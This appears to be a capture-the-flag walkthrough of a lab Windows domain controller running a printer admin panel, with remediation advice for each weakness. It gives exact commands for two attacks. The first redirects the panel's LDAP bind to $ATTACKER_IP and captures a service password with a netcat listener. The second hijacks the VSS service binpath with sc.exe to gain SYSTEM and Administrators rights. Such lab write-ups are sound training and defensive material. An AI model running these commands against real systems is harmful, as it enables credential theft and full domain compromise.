J. Perez Duertojperezduerto.info
← all walkthroughs

Return

Windows· Easy· Privilege Escalation
owned
2026-07-06
time to own
7m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned $TARGET (hostname PRINTER) and found a Windows Server 2019 Active Directory Domain Controller for return.local, along with an IIS-hosted Printer Admin Panel on port 80. The web application's LDAP configuration page was accessible without any login, allowing me to redirect the printer's LDAP authentication target to a rogue listener on my own machine. When the page was submitted, the application connected back and transmitted the service account password in cleartext via LDAP simple bind, yielding the credential svc-printer / <withheld>.

That account had WinRM access, producing an interactive shell and the user flag. Enumeration revealed svc-printer was a member of the built-in Server Operators group, which grants the right to modify Windows service configurations. I used sc.exe to replace the binary path of a system service with a command that added the account to local Administrators, executing it as SYSTEM.

Reconnecting with elevated rights, the root flag was read from the Administrator's Desktop — full Domain Controller compromise achieved.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for svc-printer>"

Attack path — how the box was taken

1ReconnaissanceNetwork Service Enumeration (T1046)
Mapped exposed services and confirmed an Active Directory Domain Controller
A full TCP scan of $TARGET returned the complete AD DC signature: DNS (53), Kerberos (88), LDAP (389 / GC 3268), LDAPS (636), RPC (135, 593), SMB (139/445), WinRM (5985), and AD Web Services (9389). Banner data identified Windows Server 2019 Build 17763, hostname PRINTER, domain return.local. Port 80 served an IIS 10.0 / PHP 7.4.13 application titled 'HTB Printer Admin Panel'. SMB null session was accepted but the guest account was disabled and share enumeration failed, making the web panel the primary target.
Nxc banners: 'Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)'; curl confirms IIS/10.0 + PHP/7.4.13 on port 80; settings.php returns HTTP 200.
Exact commands 3
shell

Service-version scan with default scripts against the known-open ports.

$ nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,3268,5985,9389 -oN return_scan.txt $TARGET
shell

Probe null/anonymous SMB to confirm hostname and domain membership.

$ nxc smb $TARGET -u '' -p ''
shell

Confirm the printer web panel and its settings page are reachable without credentials.

$ curl -si http://$TARGET/ && curl -si http://$TARGET/settings.php
2EnumerationUnauthenticated Administrative Interface Exposure (T1592)
Found the Printer Admin Panel exposes an unauthenticated LDAP configuration form
Browsing to http://$TARGET/settings.php revealed a form for configuring the printer's LDAP connection — including the target server IP, bind account (svc-printer), and a masked bind password. No authentication was required to view or submit the form. This meant any network-reachable user could redirect where the printer sends its credentials.
Curl -s http://$TARGET/settings.php returned HTTP 200 with a form pre-populated with LDAP server address and bind account fields.
Exact commands 2
shell

Confirm the settings page loads without a session cookie or credentials.

$ curl -s http://$TARGET/settings.php
shell

Extract form field names and any pre-populated LDAP server address or username values.

$ curl -s http://$TARGET/settings.php | grep -i 'ldap\|server\|user\|pass\|input'
FixRequire authentication before allowing LDAP server reconfigurationCritical
WeaknessThe Printer Admin Panel's settings page (settings.php) was accessible to any network-reachable user without any login. This allowed an unauthorised user to redirect the printer's LDAP authentication target to an externally controlled server, which is the prerequisite for credential capture.
FixImplement session-based authentication on the printer web panel and require a strong administrative password before displaying or accepting changes on any configuration page. If this is a vendor appliance, apply the vendor's hardening guide to enforce authentication on the management interface and restrict the panel to an administrative VLAN only, not the general corporate network. Verify there is no unauthenticated administrative page using an authenticated vulnerability scan.
3ExploitationCredential Capture via Rogue LDAP Server (T1557)
Captured the service-account password in cleartext via a rogue LDAP listener
I started a netcat listener on port 389, then submitted settings.php with the LDAP server address changed to my own IP. The printer application connected back and performed an LDAP simple bind, transmitting the svc-printer account password in cleartext over the wire. The listener received the credential: svc-printer / <withheld>.
Credential svc-printer / <withheld> subsequently validated against WinRM and confirmed Pwn3d.
Exact commands 2
shell

Open a raw listener on port 389 on my machine; run in background before submitting the form.

$ sudo nc -lvnp 389
shell

Submit the settings form redirecting LDAP to $ATTACKER_IP; inspect nc output for the cleartext bind password.

$ curl -s -X POST http://$TARGET/settings.php --data "ip=$ATTACKER_IP&port=389&username=svc-printer&password=&action=test"
FixReplace LDAP simple bind with LDAPS or Kerberos to prevent cleartext credential exposureCritical
WeaknessThe printer application authenticated to the domain controller using LDAP simple bind, which transmits the account password in cleartext. When the LDAP target was redirected to a rogue listener, the password was captured instantly with no decryption required.
FixConfigure the application to use LDAPS (TCP 636) with certificate validation enabled, or Kerberos-based LDAP authentication. On the domain controller, enforce LDAP signing via Group Policy (Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → 'Domain controller: LDAP server signing requirements' → Require signing) and enable LDAP channel binding to prevent session relay. Reject any application or appliance that cannot support LDAPS.
4FootholdRemote Service — Windows Remote Management (T1021.006)
Authenticated via WinRM as svc-printer and captured the user flag
Using the captured credential I connected to the WinRM service on port 5985 and obtained an interactive PowerShell session as svc-printer on PRINTER. The user flag was read directly from the Desktop.
Nxc winrm $TARGET -d return.local -u svc-printer -p <withheld> -x 'whoami && hostname && type C:\Users\svc-printer\Desktop\user.txt' — output Pwn3d.
Exact commands 3
shell

Validate WinRM access; confirm 'Pwn3d!' in output.

$ nxc winrm $TARGET -d return.local -u svc-printer -p "$PASSWORD"
shell

Open an interactive WinRM shell as svc-printer.

$ evil-winrm -i $TARGET -u svc-printer -p "$PASSWORD"
shell

One-shot to confirm identity and read the user flag -> <user.txt>

$ nxc winrm $TARGET -d return.local -u svc-printer -p "$PASSWORD" -x 'whoami && hostname && type C:\Users\svc-printer\Desktop\user.txt'
5Post-Exploitation EnumerationPrivileged Group Discovery (T1069.001)
Discovered svc-printer belongs to the Server Operators privileged group
Inside the WinRM session, I enumerated group memberships and found svc-printer was a member of the built-in Server Operators group. Server Operators can start, stop, and reconfigure Windows services — including changing a service's executable binary path — without holding Domain Admin rights. This is a significant privilege escalation vector.
Whoami /groups output showing 'BUILTIN\Server Operators'.
Exact commands 2
shell

Run inside the evil-winrm shell; look for BUILTIN\Server Operators in the output.

$ whoami /groups
shell

List full group membership and account properties for svc-printer.

$ net user svc-printer /domain
FixRemove svc-printer from Server Operators and apply least-privilege to all service accountsCritical
WeaknessThe svc-printer service account was a member of the built-in Server Operators group. This group grants the right to modify service binary paths using sc.exe, allowing any holder to execute arbitrary code as SYSTEM without Domain Admin credentials.
FixRemove svc-printer (and any other service accounts) from Server Operators immediately. A printer or LDAP lookup service account needs only the specific permissions required for its function — nothing more. Replace the manually managed password with a Group Managed Service Account (gMSA) so the password is automatically rotated and cannot be manually read. Conduct a quarterly audit of all built-in privileged groups (Server Operators, Backup Operators, Account Operators, Print Operators) because these groups grant significant, often-overlooked privilege. Implement a Privileged Access Workstation (PAW) policy that limits which accounts may log on interactively or via WinRM on Domain Controllers.
6Privilege EscalationService Binary Path Hijack via Server Operators — sc.exe (T1543.003)
Hijacked a system service binary path via sc.exe to run a command as SYSTEM
Using sc.exe — which Server Operators members may invoke to modify service configuration — I changed the binary path of the VSS (Volume Shadow Copy) service to a command that added svc-printer to the local Administrators group. Stopping and restarting the service caused Windows to execute that command as SYSTEM. The service failed to start cleanly, which is expected and inconsequential; the command had already run.
root.txt subsequently captured.
Exact commands 4
shell

Redirect the VSS service binary to a command that promotes svc-printer; run inside evil-winrm.

$ sc.exe config vss binpath="cmd.exe /c net localgroup administrators svc-printer /add"
shell

Stop VSS so it can be restarted to trigger the hijacked binpath.

$ sc.exe stop vss
shell

Restart VSS; the modified binpath executes as SYSTEM and adds svc-printer to Administrators. The service will report a start failure — ignore it.

$ sc.exe start vss
shell

Confirm svc-printer now appears in the local Administrators group.

$ net localgroup administrators
7Full CompromiseValid Accounts — Local Administrator (T1078.003)
Reconnected with elevated rights and captured the root flag
With svc-printer now in local Administrators, I reconnected via WinRM. The elevated session allowed reading the Administrator's Desktop and captured the root flag, completing full compromise of the Domain Controller.
root.txt captured.
Exact commands 2
shell

Reconnect; svc-printer is now a local admin so WinRM grants an elevated session.

$ evil-winrm -i $TARGET -u svc-printer -p "$PASSWORD"
shell

Read the root flag (actual -> <root.txt>

$ type C:\Users\Administrator\Desktop\root.txt

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
5985/tcp
9389/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49673/tcp
49674/tcp
49675/tcp
49676/tcp
49680/tcp
49688/tcp
49698/tcp